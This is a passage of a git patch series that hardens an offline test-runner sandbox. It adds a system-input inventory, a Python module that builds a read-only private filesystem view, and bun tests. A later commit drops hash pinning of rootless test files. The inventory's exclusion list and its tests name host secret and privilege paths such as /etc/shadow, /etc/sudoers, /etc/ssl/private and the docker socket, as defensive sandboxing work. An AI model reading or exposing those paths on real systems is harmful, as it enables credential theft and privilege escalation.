directories, never mounts of host contents. - for directory in ('etc/claude-code', 'tmp', 'run/brain-test', 'proc', 'dev', 'home/odysseus', 'sys', 'opt', 'srv', 'mnt', 'media', 'var', 'root'): + for directory in ('etc/claude-code', 'tmp', 'run/brain-test', 'proc', 'dev', 'home/odysseus', 'sys'): (view / directory).mkdir(parents=True, exist_ok=True) - os.chmod(view / 'root', 0o700) - for name in ('passwd', 'group', 'nsswitch.conf', 'hosts', 'localtime', 'ld.so.cache', 'resolv.conf'): - source = pathlib.Path('/etc') / name - if source.exists(): - # Ordinary system inputs only; never recurse through host /etc. - shutil.copyfile(source, view / 'etc' / name) - if pathlib.Path('/etc/ssl/certs').exists(): - bind('/etc/ssl/certs', view / 'etc/ssl/certs') + system.files(view) + system.scratch(view, mount) + system.cgroup(view, bind) # util-linux resolves mounts through the admitted process's own procfs. # Never copy the host's mount table into the private /etc. (view / 'etc/mtab').symlink_to('/proc/self/mounts') @@ -225,7 +217,11 @@ def finish_view(backing, prepared, caller, profile, before): (view / 'dev/fd').symlink_to('/proc/self/fd') for number, name in enumerate(('stdin', 'stdout', 'stderr')): (view / 'dev' / name).symlink_to('/proc/self/fd/%d' % number) + system.scratch(view, mount, memory=True) + system.receipt(view, bind) mount('proc', view / 'proc', 'proc', MS_NOSUID | MS_NODEV) + if pathlib.Path('/proc/self/cgroup').read_text() != system.evidence['callerCgroup']: + raise OSError(errno.EPERM, 'runner cgroup membership changed') target = view / str(ROOT).lstrip('/') target.parent.mkdir(parents=True, exist_ok=True) workspaces=pathlib.Path(backing)/'workspaces' diff --git a/scripts/offline-runner/system-inputs.json b/scripts/offline-runner/system-inputs.json new file mode 100644 index 0000000000..823d996a0c --- /dev/null +++ b/scripts/offline-runner/system-inputs.json @@ -0,0 +1,213 @@ +{ + "version": 1, + "readonlyTrees": [ + { + "path": "/usr", + "purpose": "Installed executables, libraries, SSL lookup links, locale data and timezone data" + }, + { + "path": "/etc/ssl/certs", + "purpose": "Public system certificate trust store" + }, + { + "path": "/etc/fonts", + "purpose": "Fontconfig inputs used by browser and PDF fixtures" + }, + { + "path": "/etc/ld.so.conf.d", + "purpose": "Public dynamic linker configuration" + }, + { + "path": "/etc/alternatives", + "purpose": "Public executable and library selection links used by cc, awk and other installed tools" + }, + { + "path": "/etc/terminfo", + "purpose": "Public terminal capability data" + }, + { + "path": "/var/cache/fontconfig", + "purpose": "Prepared public system font cache used by browser and PDF fixtures" + } + ], + "readonlyFiles": [ + { + "path": "/etc/passwd" + }, + { + "path": "/etc/group" + }, + { + "path": "/etc/nsswitch.conf" + }, + { + "path": "/etc/hosts" + }, + { + "path": "/etc/host.conf" + }, + { + "path": "/etc/gai.conf" + }, + { + "path": "/etc/services" + }, + { + "path": "/etc/protocols" + }, + { + "path": "/etc/networks" + }, + { + "path": "/etc/resolv.conf", + "symlinkRoots": [ + "/run/systemd/resolve", + "/run/NetworkManager" + ] + }, + { + "path": "/etc/localtime", + "symlinkRoots": [ + "/usr/share/zoneinfo" + ] + }, + { + "path": "/etc/timezone" + }, + { + "path": "/etc/locale.conf" + }, + { + "path": "/etc/locale.gen" + }, + { + "path": "/etc/locale.alias" + }, + { + "path": "/etc/default/locale" + }, + { + "path": "/etc/os-release", + "symlinkRoots": [ + "/usr/lib/os-release" + ] + }, + { + "path": "/etc/ld.so.cache" + }, + { + "path": "/etc/ld.so.conf" + }, + { + "path": "/etc/ssl/openssl.cnf" + } + ], + "privateDirectories": [ + { + "path": "/tmp", + "mode": 1023 + }, + { + "path": "/var/tmp", + "mode": 1023 + }, + { + "path": "/run/lock", + "mode": 1023 + }, + { + "path": "/dev/shm", + "mode": 1023, + "tmpfs": true + } + ], + "privateAliases": [ + { + "path": "/var/run", + "target": "../run" + }, + { + "path": "/var/lock", + "target": "../run/lock" + } + ], + "hostCgroup": { + "path": "/sys/fs/cgroup", + "filesystem": "cgroup2", + "access": "preserve host mount flags and kernel permissions; no delegation changes" + }, + "coveredInputs": [ + "/usr/lib/ssl", + "/usr/lib/ssl/openssl.cnf", + "/usr/lib/locale", + "/usr/share/locale", + "/usr/share/zoneinfo", + "/usr/bin/cc", + "/usr/bin/awk" + ], + "excluded": [ + "/etc/claude-code", + "/etc/ssl/private", + "/etc/shadow", + "/etc/gshadow", + "/etc/sudoers", + "/etc/sudoers.d", + "/etc/ld.so.preload", + "/var/run/docker.sock", + "/run/docker.sock" + ], + "privateMountPoints": [ + { + "path": "/opt", + "mode": 493 + }, + { + "path": "/srv", + "mode": 493 + }, + { + "path": "/mnt", + "mode": 493 + }, + { + "path": "/media", + "mode": 493 + }, + { + "path": "/var", + "mode": 493 + }, + { + "path": "/root", + "mode": 448 + }, + { + "path": "/var/cache", + "mode": 493 + }, + { + "path": "/var/lib", + "mode": 493 + }, + { + "path": "/var/local", + "mode": 493 + }, + { + "path": "/var/log", + "mode": 493 + }, + { + "path": "/var/spool", + "mode": 493 + }, + { + "path": "/var/snap", + "mode": 493 + }, + { + "path": "/var/mail", + "mode": 493 + } + ] +} diff --git a/scripts/offline-runner/system_inputs.py b/scripts/offline-runner/system_inputs.py new file mode 100644 index 0000000000..11cb176b96 --- /dev/null +++ b/scripts/offline-runner/system_inputs.py @@ -0,0 +1,122 @@ +"""Explicit public system inputs and fresh IPC/scratch paths; never a host /etc bind.""" +import errno +import hashlib +import json +import os +import pathlib +import stat + + +class SystemInputs: + def __init__(self, caller): + self.inventory = json.loads(pathlib.Path(__file__).with_name('system-inputs.json').read_text()) + if self.inventory['version'] != 1: + raise ValueError('unknown system input inventory') + self.evidence = {'version': 1, 'files': [], 'trees': [], 'directories': [], 'coveredInputs': [], + 'callerCgroup': pathlib.Path('/proc/%d/cgroup' % caller['pid']).read_text()} + + def tools(self, view, bind): + for row in self.inventory['readonlyTrees']: + source = pathlib.Path(row['path']) + present = source.exists() + self.evidence['trees'].append({'path': str(source), 'present': present, 'readonly': True}) + if not present: + continue + if not source.is_dir(): + raise OSError(errno.EPERM, 'system input tree is not a directory') + def failed(error): + raise error + for folder, _dirs, files in os.walk(source, followlinks=False, onerror=failed): + if str(source) != '/usr' and os.stat(folder).st_mode & 0o555 != 0o555: + raise OSError(errno.EPERM, 'nonpublic system configuration directory') + for name in files: + mode = os.lstat(os.path.join(folder, name)).st_mode + if stat.S_ISSOCK(mode) or stat.S_ISFIFO(mode): + raise OSError(errno.EPERM, 'host IPC in system input tree') + if str(source) != '/usr' and stat.S_ISREG(mode) and mode & 0o444 != 0o444: + raise OSError(errno.EPERM, 'nonpublic system configuration file') + bind(source, view / str(source).lstrip('/')) + for path in self.inventory['coveredInputs']: + self.evidence['coveredInputs'].append({'path': path, 'present': pathlib.Path(path).exists()}) + + def files(self, view): + public_files = {pathlib.Path(row['path']) for row in self.inventory['readonlyFiles']} + public_trees = [pathlib.Path(row['path']) for row in self.inventory['readonlyTrees']] + for row in self.inventory['readonlyFiles']: + source = pathlib.Path(row['path']) + record = {'path': str(source), 'present': source.exists()} + self.evidence['files'].append(record) + if not record['present']: + continue + resolved = source.resolve(strict=True) + roots = [*public_trees, *map(pathlib.Path, row.get('symlinkRoots', []))] + if resolved not in public_files and not any(resolved == root or resolved.is_relative_to(root) for root in roots): + raise OSError(errno.EPERM, 'system input link leaves its public inventory: ' + str(source)) + fd = os.open(resolved, os.O_RDONLY | os.O_NOFOLLOW | os.O_CLOEXEC) + try: + info = os.fstat(fd) + if not stat.S_ISREG(info.st_mode) or info.st_mode & 0o444 != 0o444: + raise OSError(errno.EPERM, 'system input is not a public regular file: ' + str(source)) + with os.fdopen(fd, 'rb', closefd=False) as incoming: + data = incoming.read() + finally: + os.close(fd) + target = view / str(source).lstrip('/') + target.parent.mkdir(parents=True, exist_ok=True) + target.write_bytes(data) + os.chmod(target, 0o444) + record['sha256'] = hashlib.sha256(data).hexdigest() + + def scratch(self, view, mount, memory=False): + if not memory: + for row in self.inventory['privateMountPoints']: + target = view / row['path'].lstrip('/') + target.mkdir(parents=True, exist_ok=True) + os.chmod(target, row['mode']) + for row in self.inventory['privateDirectories']: + if bool(row.get('tmpfs')) != memory: + continue + source = pathlib.Path(row['path']) + target = view / str(source).lstrip('/') + target.mkdir(parents=True, exist_ok=True) + if memory: + # Match the host's shared-memory capacity, never its contents. + host = os.statvfs(source) if source.exists() else None + size = ',size=%d' % (host.f_blocks * host.f_frsize) if host else '' + flags = 2 | 4 | (8 if host and host.f_flag & os.ST_NOEXEC else 0) + mount('tmpfs', target, 'tmpfs', flags, 'mode=%04o%s' % (row['mode'], size)) + os.chmod(target, row['mode']) + self.evidence['directories'].append({'path': str(source), 'mode': row['mode'], 'private': True}) + if not memory: + for row in self.inventory['privateAliases']: + target = view / row['path'].lstrip('/') + target.parent.mkdir(parents=True, exist_ok=True) + target.symlink_to(row['target']) + + def cgroup(self, view, bind): + path = self.inventory['hostCgroup']['path'] + found = None + for line in pathlib.Path('/proc/self/mountinfo').read_text().splitlines(): + fields = line.split(); split = fields.index('-') + if fields[4] == path: + found = (fields, split) + record = {'path': path, 'present': found is not None} + self.evidence['cgroup'] = record + if found is None: + return + fields, split = found + if fields[split + 1] != self.inventory['hostCgroup']['filesystem']: + raise OSError(errno.EPERM, 'unsupported host cgroup filesystem') + readonly = 'ro' in fields[5].split(',') + # Bind the existing hierarchy as-is. No chmod, controller enablement, + # namespace delegation, process move or new cgroup authority. + # A plain bind inherits ro/rw, nosuid, nodev and noexec. Do not run + # the ordinary tool-tree remount, which deliberately adds restrictions. + bind(path, view / path.lstrip('/'), readonly=False) + record['readonly'] = readonly + + def receipt(self, view, bind): + path = view / 'run/brain-test/system-inputs.json' + path.write_text(json.dumps(self.evidence)) + os.chmod(path, 0o444) + bind(path, path) diff --git a/tests/offline-runner.test.ts b/tests/offline-runner.test.ts index cc4998a14a..c07016c7d8 100644 --- a/tests/offline-runner.test.ts +++ b/tests/offline-runner.test.ts @@ -1,9 +1,64 @@ import {expect,test} from "bun:test"; -import {readFileSync,writeSync,writeFileSync,mkdtempSync,rmSync} from "node:fs"; +import {readFileSync,writeSync,writeFileSync,mkdtempSync,rmSync,existsSync,statSync,statfsSync} from "node:fs"; +import {createHash} from "node:crypto"; import {join} from "node:path"; import {captureNativeReceipts} from "../scripts/native-test-receipts"; import {requireOfflineRunner} from "../scripts/offline-runner/qualification"; import {watchdogMs} from "../scripts/test-deadlines"; +import systemInputs from "../scripts/offline-runner/system-inputs.json"; + +test("the qualified view provides its inventoried public system inputs and private scratch paths",()=>{ + requireOfflineRunner(); + const evidence=JSON.parse(readFileSync("/run/brain-test/system-inputs.json","utf8")) as { + version:number;callerCgroup:string; + files:Array<{path:string;present:boolean;sha256?:string}>; + trees:Array<{path:string;present:boolean;readonly:boolean}>; + directories:Array<{path:string;mode:number;private:boolean}>; + coveredInputs:Array<{path:string;present:boolean}>; + cgroup:{path:string;present:boolean;readonly?:boolean}; + }; + expect(evidence.version).toBe(1); + expect(evidence.files.map(row=>row.path)).toEqual(systemInputs.readonlyFiles.map(row=>row.path)); + const mounts=readFileSync("/proc/self/mountinfo","utf8").trim().split("\n").map(line=>line.split(" ")); + const covering=(path:string)=>mounts.filter(row=>path===row[4]||path.startsWith(`${row[4]!.replace(/\/$/,"")}/`)).sort((a,b)=>b[4]!.length-a[4]!.length)[0]!; + for(const row of evidence.files){ + expect(existsSync(row.path),`SYSTEM_INPUT_AVAILABILITY ${row.path}`).toBe(row.present); + if(row.present){ + expect(createHash("sha256").update(readFileSync(row.path)).digest("hex"),`PINNED_SYSTEM_INPUT_BYTES ${row.path}`).toBe(row.sha256!); + expect(covering(row.path)[5]!.split(","),`SYSTEM_INPUT_IS_READ_ONLY ${row.path}`).toContain("ro"); + } + } + expect(evidence.trees.map(row=>row.path)).toEqual(systemInputs.readonlyTrees.map(row=>row.path)); + for(const row of evidence.trees){ + expect(existsSync(row.path),`SYSTEM_TREE_AVAILABILITY ${row.path}`).toBe(row.present); + if(row.present)expect(covering(row.path)[5]!.split(","),`SYSTEM_TREE_IS_READ_ONLY ${row.path}`).toContain("ro"); + } + for(const row of evidence.coveredInputs)expect(existsSync(row.path),`SYSTEM_LOOKUP_PATH ${row.path}`).toBe(row.present); + for(const row of systemInputs.privateMountPoints){ + expect(existsSync(row.path),`PRIVATE_MOUNT_POINT ${row.path}`).toBe(true); + expect(statSync(row.path).mode&0o7777,`PRIVATE_MOUNT_POINT_MODE ${row.path}`).toBe(row.mode); + } + expect(evidence.directories.map(row=>row.path).sort()).toEqual(systemInputs.privateDirectories.map(row=>row.path).sort()); + for(const row of systemInputs.privateDirectories){ + expect(existsSync(row.path),`ORDINARY_PRIVATE_SYSTEM_PATH ${row.path}`).toBe(true); + expect(statSync(row.path).mode&0o7777,`PRIVATE_SYSTEM_PATH_MODE ${row.path}`).toBe(row.mode); + const directory=mkdtempSync(`${row.path}/odysseus-system-input-`); + try{writeFileSync(join(directory,"proof"),"Ithaca");expect(readFileSync(join(directory,"proof"),"utf8")).toBe("Ithaca");} + finally{rmSync(directory,{recursive:true,force:true});} + } + expect(statSync("/dev/shm").dev,"SHARED_MEMORY_HAS_ITS_OWN_PRIVATE_MOUNT").not.toBe(statSync("/tmp").dev); + expect(statfsSync("/dev/shm").type,"PRIVATE_POSIX_SHARED_MEMORY_IS_TMPFS").toBe(0x01021994); + for(const path of systemInputs.excluded){ + if(path==="/etc/claude-code")expect(existsSync(join(path,"managed-settings.json")),"HOST_MANAGED_SETTINGS_EXCLUDED").toBe(false); + else expect(existsSync(path),`HOST_SECRET_OR_IPC_PATH_EXCLUDED ${path}`).toBe(false); + } + expect(readFileSync("/proc/self/cgroup","utf8"),"RUNNER_CGROUP_MEMBERSHIP_PARITY").toBe(evidence.callerCgroup); + if(evidence.cgroup.present){ + const row=mounts.find(row=>row[4]===evidence.cgroup.path)!; + expect(row,"HOST_CGROUP_HIERARCHY_PRESENT").toBeDefined(); + expect(row[5]!.split(",").includes("ro"),"HOST_CGROUP_MOUNT_AUTHORITY_UNCHANGED").toBe(evidence.cgroup.readonly!); + } +}); test("qualified runner preserves a harmless interpreter, pipe bytes and EOF",async()=>{ const view=requireOfflineRunner();expect(view.identity.uid).toBe(process.getuid!()); From 6ad28ee61b131a923fb45986a1212505bddcad0e Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Tue, 24 Nov 2026 08:45:57 +0000 Subject: [PATCH 184/187] test: classify rootless selections without first-party source pins --- docs/process/testing.md | 5 +- scripts/offline-runner/catalog.py | 13 +- scripts/offline-runner/proof.py | 6 +- scripts/offline-runner/rootless-files.json | 3450 ++++++++++---------- 4 files changed, 1736 insertions(+), 1738 deletions(-) diff --git a/docs/process/testing.md b/docs/process/testing.md index c47d9815b3..21fe958d1c 100644 --- a/docs/process/testing.md +++ b/docs/process/testing.md @@ -90,8 +90,9 @@ with `bash scripts/offline-runner/prepare.sh`, then put the checkout's `.test-tools` directory first on `PATH` before `bun run test` or `bun test`. The launcher tries the root-created boundary first, then a qualified rootless user/network/mount/PID/IPC boundary. Rootless runs refuse separate-UID, -root-bwrap and setpriv selections before their modules execute. Unknown or -changed rootless selections also refuse. If neither boundary qualifies, the +root-bwrap and setpriv selections before their modules execute. Unknown +rootless selections also refuse. Compatible files keep their filename +classification when edited; the kernel view provides containment. If neither boundary qualifies, the whole invocation stops before test modules; masks and the preload are not an unguarded fallback. diff --git a/scripts/offline-runner/catalog.py b/scripts/offline-runner/catalog.py index 102eebe8ed..7188a400a6 100644 --- a/scripts/offline-runner/catalog.py +++ b/scripts/offline-runner/catalog.py @@ -1,5 +1,4 @@ """Closed rootless test selection. No test/import evaluation during discovery.""" -import hashlib import json import pathlib import re @@ -10,10 +9,6 @@ FLAG_ONLY = {'--bail', '--coverage', '--only', '--todo', '--update-snapshots', '-u', '--rerun-each', '--retry', '--shard', '--balanced-shard', '--no-env-file', '--help', '-h'} -def digest(path): - return hashlib.sha256(path.read_bytes()).hexdigest() - - def explicit_files(root, cwd, args, catalog): paths, index = [], 0 while index < len(args): @@ -41,8 +36,8 @@ def explicit_files(root, cwd, args, catalog): if not any((path == (cwd / term).resolve() or (cwd / term).resolve() in path.parents) if term.startswith(('.', '/')) else term in str(path) for term in paths): continue row = catalog.get(relative) - if not row or row['sha256'] != digest(path): - raise ValueError(REFUSAL + ': unknown or changed file') + if not row: + raise ValueError(REFUSAL + ': unknown file') selected.append((relative, row['compatible'])) if not selected: raise ValueError(REFUSAL + ': empty or unknown selection') refused = [name for name, compatible in selected if not compatible] @@ -66,7 +61,7 @@ def resolve_command(root, cwd, command, catalog): path=(cwd/program).resolve() try:row=catalog[str(path.relative_to(root))] except (ValueError,KeyError):raise ValueError(REFUSAL+': unknown module') - if not row['compatible'] or row['sha256']!=digest(path):raise ValueError(REFUSAL+': incompatible module') + if not row['compatible']:raise ValueError(REFUSAL+': incompatible module') return command,[] else: return command,[] @@ -104,5 +99,5 @@ def resolve_command(root, cwd, command, catalog): for path in (root / base).rglob('*'): if path.is_file() and re.search(r'\.(?:test|spec)\.[cm]?[jt]sx?$', path.name) and 'node_modules' not in path.parts: source = path.read_text() - rows[str(path.relative_to(root))] = {'sha256': digest(path), 'compatible': not bool(restricted.search(source))} + rows[str(path.relative_to(root))] = {'compatible': not bool(restricted.search(source))} (root / 'scripts/offline-runner/rootless-files.json').write_text('{\n \"version\":1,\n \"files\":{\n'+',\n'.join(' '+json.dumps(name)+':'+json.dumps(row,separators=(',',':')) for name,row in sorted(rows.items()))+'\n }\n}\n') diff --git a/scripts/offline-runner/proof.py b/scripts/offline-runner/proof.py index 96a809cfdd..71aeb30ccf 100644 --- a/scripts/offline-runner/proof.py +++ b/scripts/offline-runner/proof.py @@ -281,7 +281,6 @@ def immutable_mount_control(): def rootless_selection_controls(only=None): - import hashlib directory=ROOT/'tests/odysseus-offline-selection' directory.mkdir() inventory=ROOT/'scripts/offline-runner/rootless-files.json' @@ -295,7 +294,7 @@ def rootless_selection_controls(only=None): catalog=json.loads(original) for name,source in sources.items(): (directory/name).write_text(source) - if name!='unknown.test.ts':catalog['files'][str((directory/name).relative_to(ROOT))]={'sha256':hashlib.sha256(source.encode()).hexdigest(),'compatible':name=='ordinary.test.ts'} + if name!='unknown.test.ts':catalog['files'][str((directory/name).relative_to(ROOT))]={'compatible':name=='ordinary.test.ts'} inventory.write_text(json.dumps(catalog)) (directory/'package.json').write_text(json.dumps({'name':'odysseus-offline-selection','private':True,'scripts':{'test':'bun test ./setpriv.test.ts','ordinary':'bun test ./ordinary.test.ts'}})) (directory/'bunfig.toml').write_text('[test]\npreload = ['+json.dumps(str(ROOT/'scripts/test-network-preload.ts'))+']\n') @@ -303,6 +302,7 @@ def rootless_selection_controls(only=None): prefix=['/usr/bin/setpriv','--reuid=1000','--regid=1000','--clear-groups',str(ENTRY),'--rootless',bun] cases=[ ('ordinary',["test",str(directory/'ordinary.test.ts')],True), + ('changed-ordinary',["test",str(directory/'ordinary.test.ts')],True), ('substring',["test","odysseus-offline-selection/setpriv"],False), ('unknown',["test",str(directory/'unknown.test.ts')],False), ('direct-module',[str(directory/'setpriv.test.ts')],False), @@ -312,6 +312,8 @@ def rootless_selection_controls(only=None): ] for name,args,positive in cases: if only is not None and name!=only:continue + if name=='changed-ordinary': + (directory/'ordinary.test.ts').write_text(sources['ordinary.test.ts']+'\n// Odysseus edits a compatible fixture without repinning it.\n') result=subprocess.run(prefix+args,capture_output=True,text=True) output=result.stdout+result.stderr named('REFUSED_MODULE_TOP_LEVEL_RAN' not in output and 'UNKNOWN_MODULE_TOP_LEVEL_RAN' not in output,'R5_REFUSAL_BEFORE_MODULE_SENTINEL_'+name) diff --git a/scripts/offline-runner/rootless-files.json b/scripts/offline-runner/rootless-files.json index 618c292944..d4ca7f6504 100644 --- a/scripts/offline-runner/rootless-files.json +++ b/scripts/offline-runner/rootless-files.json @@ -1,1730 +1,1730 @@ { "version":1, "files":{ - "experiments/1593-routing-only-capture.test.ts":{"sha256":"934af803e0e4bee18249a394910a5075267bb8d34806f8f472de0a37ed53d448","compatible":true}, - "experiments/3434-extraction-classifier.test.ts":{"sha256":"f05f67c6ebc34e30c3d2fd51e49caafb826361e4faa6acc6aba2baf70df71a22","compatible":true}, - "experiments/3445-propagation-triage.test.ts":{"sha256":"98bc2b026c6ecb9d541e03f69e12d30e437470ef1345a84ee0c6ffe00de8c5e5","compatible":true}, - "experiments/4090-extraction-band.test.ts":{"sha256":"c764897d8bb1320b72dc29dad772ae9d1b7dbeeaa868e69ce807acd3ea0e4d29","compatible":true}, - "experiments/839-smart-capture.test.ts":{"sha256":"d8e6424b483cb5705fc68c6af32183093c8d3bbfa4fe0c1bc924faf76959f34e","compatible":true}, - "experiments/843-canonical-conflicts-score.test.ts":{"sha256":"5392c3e446abe36c015db9bcfc10b69d3766c0ed1470baa7cf7250ef7cdce185","compatible":true}, - "experiments/844-tag-aliases.test.ts":{"sha256":"5d199f7840dedd85ea0f02f40eb1997bfac61a8e24f61431dda5eb3149b78e35","compatible":true}, - "experiments/845-opportunity-lifecycle-score.test.ts":{"sha256":"32f7e9dcb45133eb0fec92427a9d51e8a21b4e3b33ebd990c8fc7dc8a6e1058e","compatible":true}, - "experiments/849-candidate-scoring.test.ts":{"sha256":"70f79332d3233a0894375e5718d8e1dee5aa99313dcd412bc48cd8f79e23763e","compatible":true}, - "experiments/850-import-enrichment-score.test.ts":{"sha256":"1a17e47d2a0cb78ec7e201f7b28cb70c7c522254daaa41b1cf437d766c175f48","compatible":true}, - "experiments/attribute-show-block-schema.test.ts":{"sha256":"491b4d95d1fd8bc9428904d3a60604c43561b376d4ab750fd45e967b40ca91f5","compatible":true}, - "experiments/bounded-read-contract.test.ts":{"sha256":"d9cd0bd0705a4df0f9bf4a169319efa6466efd3a58a3ac67bba951ef51b69bd4","compatible":true}, - "experiments/core/sync-judge-datasets.test.ts":{"sha256":"54d588d1f8b6c6d4c00bac848accf2fba542dc2dff393ecf89aae0433d1aa199","compatible":true}, - "experiments/core/sync-judge-measure.test.ts":{"sha256":"396e81cce51a6dfd1efa75bb67aac77b59568616fcc91db31d19ab70b00a8863","compatible":true}, - "experiments/decision-citations.test.ts":{"sha256":"ceffc0ab0fe3ba90b3f81a16264649af32cb5fe72be488fb08cf035ab5c70f01","compatible":true}, - "experiments/git-read-qualification.test.ts":{"sha256":"943880817cb7505086263af45a6b480177c075ed5940086b974e793f711dac84","compatible":true}, - "experiments/job-fit-lean.test.ts":{"sha256":"1d79947099e9e411f1141d3408df93bb444b8502a0bd373bf0c3462d00d8a48c","compatible":true}, - "experiments/lean-mechanical-hygiene-scoring.test.ts":{"sha256":"bb2ec21c9661902d01cf6bb66bd606a48d82f30e851c79e74fd3f19358ac602e","compatible":true}, - "experiments/lean-speaking-score.test.ts":{"sha256":"6855479efc6a4b48d91cf524f54956f8ec4a748ee83614dcdd92286677260806","compatible":true}, - "experiments/measure-graph-boost.test.ts":{"sha256":"07e23b16b08c6b223a0423a019ec71878924c54a56e054b8776912a6133d5ac4","compatible":true}, - "experiments/measure-kv-runs.test.ts":{"sha256":"975c696c49f166557ceb644885ddcc84b89275a1b21cb45e0513d5a4bb443b90","compatible":true}, - "experiments/measure-show-block-gate.test.ts":{"sha256":"1a147fdf9c65febbed0e34ca3adcad024ab8355f7e8d86b4ba6c52756ed190de","compatible":true}, - "experiments/measure-sonnet55-cost.test.ts":{"sha256":"a7479450f516114ed5cc147e45113c63407191fbbd78ce577b8077ac4b90d9a9","compatible":true}, - "experiments/measure-suggestions.test.ts":{"sha256":"4912a0f581177e316448cbab92ca87264595c4a96308d9812b642e94038b3914","compatible":true}, - "experiments/measurement-results.test.ts":{"sha256":"ef4710d5795a6259c001000c00ad8995c0bb873f5938034bce3639c2ddea8a38","compatible":true}, - "experiments/multi-query-search.test.ts":{"sha256":"39968398d226daa698ac4874c308e136d406b1c1b997ccdc74725f84b0b55f93","compatible":true}, - "experiments/multi-root-graph.test.ts":{"sha256":"48faa5bf9bfa3ced238638a9c6f60a4493bb4e47d0526d03c61b3fe42591a67e","compatible":true}, - "experiments/pi-schema-measurement.test.ts":{"sha256":"7f498e5cd1beef8a0dc2d71eef817ba5081b3771f1c9b1c1643d9871cebdfa0e","compatible":true}, - "experiments/show-block-live-credential.test.ts":{"sha256":"5e4d893f908c856077c4c4ecfd8a1db66678ea629d37b6dea2d3c374420cd42b","compatible":true}, - "experiments/turn-surface-admission.test.ts":{"sha256":"c876a51dcfc74b0a38a2aea72ea941a2dee4d8a44071053a5a86c3ad97ac1e3f","compatible":true}, - "experiments/turn-surface-capture.test.ts":{"sha256":"ac5ebc4b81031f930e2e2324cce698109a6d29af8368456aa9d7d317b8186eb2","compatible":true}, - "experiments/turn-surface-classifier.test.ts":{"sha256":"729005493e6b2c8f22b150d535dc4218a8819006d99b9274b69f781c36afccc2","compatible":true}, - "experiments/turn-surface-fixture-live.test.ts":{"sha256":"a3959019b8b96fd8f635fbe2fc7a8786b51cb8147b4f72a7d525c9a765192a8a","compatible":true}, - "experiments/turn-surface-isolation.test.ts":{"sha256":"8b3e0f00ef98cc7c869f407a16a2139f9a7e4e666439d864b0d7837b3614ddaa","compatible":true}, - "experiments/turn-surface-observation.test.ts":{"sha256":"a4ee3fda05c7aed22ba5955857f2655706253759a8ad779f41e81d575bf0a61c","compatible":true}, - "experiments/turn-surface-overlap.test.ts":{"sha256":"3bbd7342f9c291182b8fc282725b7ad207a8d7eba2f076806f6d248f35b1228d","compatible":true}, - "experiments/turn-surface-routing.test.ts":{"sha256":"57fa02f87cfccc701802d5c14b2924e56aea29ed472fbda328b29b4b8caa4939","compatible":true}, - "experiments/turn-surface-runtime-placement.test.ts":{"sha256":"9287121877fa69f14ccd4069bdd4ecf4257a323f74f3bc10837aab196994d024","compatible":true}, - "experiments/turn-surface-stdout.test.ts":{"sha256":"1a76ac714158203603b5e40b26684e5efac395b050d5b3ded5513683ac2bb3ea","compatible":true}, - "experiments/ui-server/triage-eval-exit-code.test.ts":{"sha256":"21e5e8ef1e523d632792fea6f940f49ef74a9f47a6f503b187564d79a7feaaeb","compatible":true}, - "packages/common/tests/apify-credentials.test.ts":{"sha256":"1ce8860a7f4efa42582d1125aa585c34b861a4c92bfa0637dd3fdcb5ea1e8de8","compatible":true}, - "packages/common/tests/claude-subscription.test.ts":{"sha256":"ca51de6bd12750ff623eb28b5d43f81b7485b029d08e46b5c5c1f59b24e5f46d","compatible":true}, - "packages/common/tests/frontmatter-block.test.ts":{"sha256":"b744aaaf3401349ee43b70e72b9314f8d5f5dc4cf776ee3c2d67a871618cb04e","compatible":true}, - "packages/common/tests/frontmatter-parse.test.ts":{"sha256":"71175276b42a1a72e517b2cf903e964b3c9384f00dca36836c6ff0c429168e39","compatible":true}, - "packages/common/tests/governance-policy-read.test.ts":{"sha256":"57c4b6051fa9e0676bf32fdcd2c25255e6e81c915e07bd976b9954ba79a1272b","compatible":true}, - "packages/common/tests/inline-containment-shapes.test.ts":{"sha256":"c291d4bfd278ea02daf6c9ca340f66d1f8203c92c74aed8904c5ff47d6836e83","compatible":true}, - "packages/common/tests/provider-relay.test.ts":{"sha256":"01c0eca50e7fda1765f3b5d35b8b5c22bca034463e43b6d98189ea891bc36953","compatible":true}, - "packages/common/tests/provider-unavailable.test.ts":{"sha256":"7d8d95a199de37728f0b65962ef0c34f0e48e98fc9b80167256837dab55fd28b","compatible":true}, - "packages/common/tests/safe-path.test.ts":{"sha256":"11a6e56b139bd9ee1e6116fe5bae4441c5559882bebbdd1a36df16ecfe3ff28d","compatible":true}, - "packages/common/tests/taint-trust.test.ts":{"sha256":"bf42860a39a54a4fc4f2ed433b54ce919007a5768529b6a68a94123e60ad1265","compatible":true}, - "packages/compute-boat/tests/ambiguous-create.test.ts":{"sha256":"38b19a2fc1b52cef989d219fdfe2fda6022512fedbdbd12c52326a26bffc281b","compatible":true}, - "packages/compute-boat/tests/cleanup.test.ts":{"sha256":"e949e4bc48bb7787b6a4905a94d46abe0ffe77dd46d831f4303fc373349a135c","compatible":true}, - "packages/compute-boat/tests/client.test.ts":{"sha256":"f44fb9da89d2b75c8e2f38ce6f83a38077509e780b434b0d06ec91e7c77c9ea8","compatible":true}, - "packages/compute-boat/tests/contract.test.ts":{"sha256":"8ba12e18f087d950eea5cf1cfd816a940db55d82b5409b170d20f712b7516f28","compatible":true}, - "packages/compute-boat/tests/cost.test.ts":{"sha256":"49dbbdf35244af5d67cfb15b279a4321afdf423533589beb23a836f5cad29e8a","compatible":true}, - "packages/compute-boat/tests/credential-free.test.ts":{"sha256":"75197f42dd3490dff67f660036f9bec3d1491ad10e8587c7dde296c1ef45d1a6","compatible":true}, - "packages/compute-boat/tests/errors.test.ts":{"sha256":"7fd6a945af3ab06caceb5e5d8aee90c072460d35239f552c3eec2df04fe1a1dd","compatible":true}, - "packages/compute-boat/tests/install-select.test.ts":{"sha256":"09c4985e79b4c94d0a62ce4e9e186bdd3055fea94def1c1c55c6c6fc225fbbe8","compatible":true}, - "packages/compute-boat/tests/readiness.test.ts":{"sha256":"dcd89752f637433bfcd7385ff7ba3b62a452d898a5f7a69572abf732a4782c64","compatible":true}, - "packages/compute-boat/tests/redact.test.ts":{"sha256":"f39fcd7687aa5f24c87803478adb595a5c6af3ba367916ca31d7c0debba674c9","compatible":true}, - "packages/compute-boat/tests/secrets.test.ts":{"sha256":"e78b4fd9b9af5cd5010fbbbf692ee195832f4088ed0bdf1062d8fdd826be3974","compatible":true}, - "packages/compute-boat/tests/settlement.test.ts":{"sha256":"ccbecdb275a46690bfe650f3b0aa30557d9eb7a83d875076ca044b270a5ebc8b","compatible":true}, - 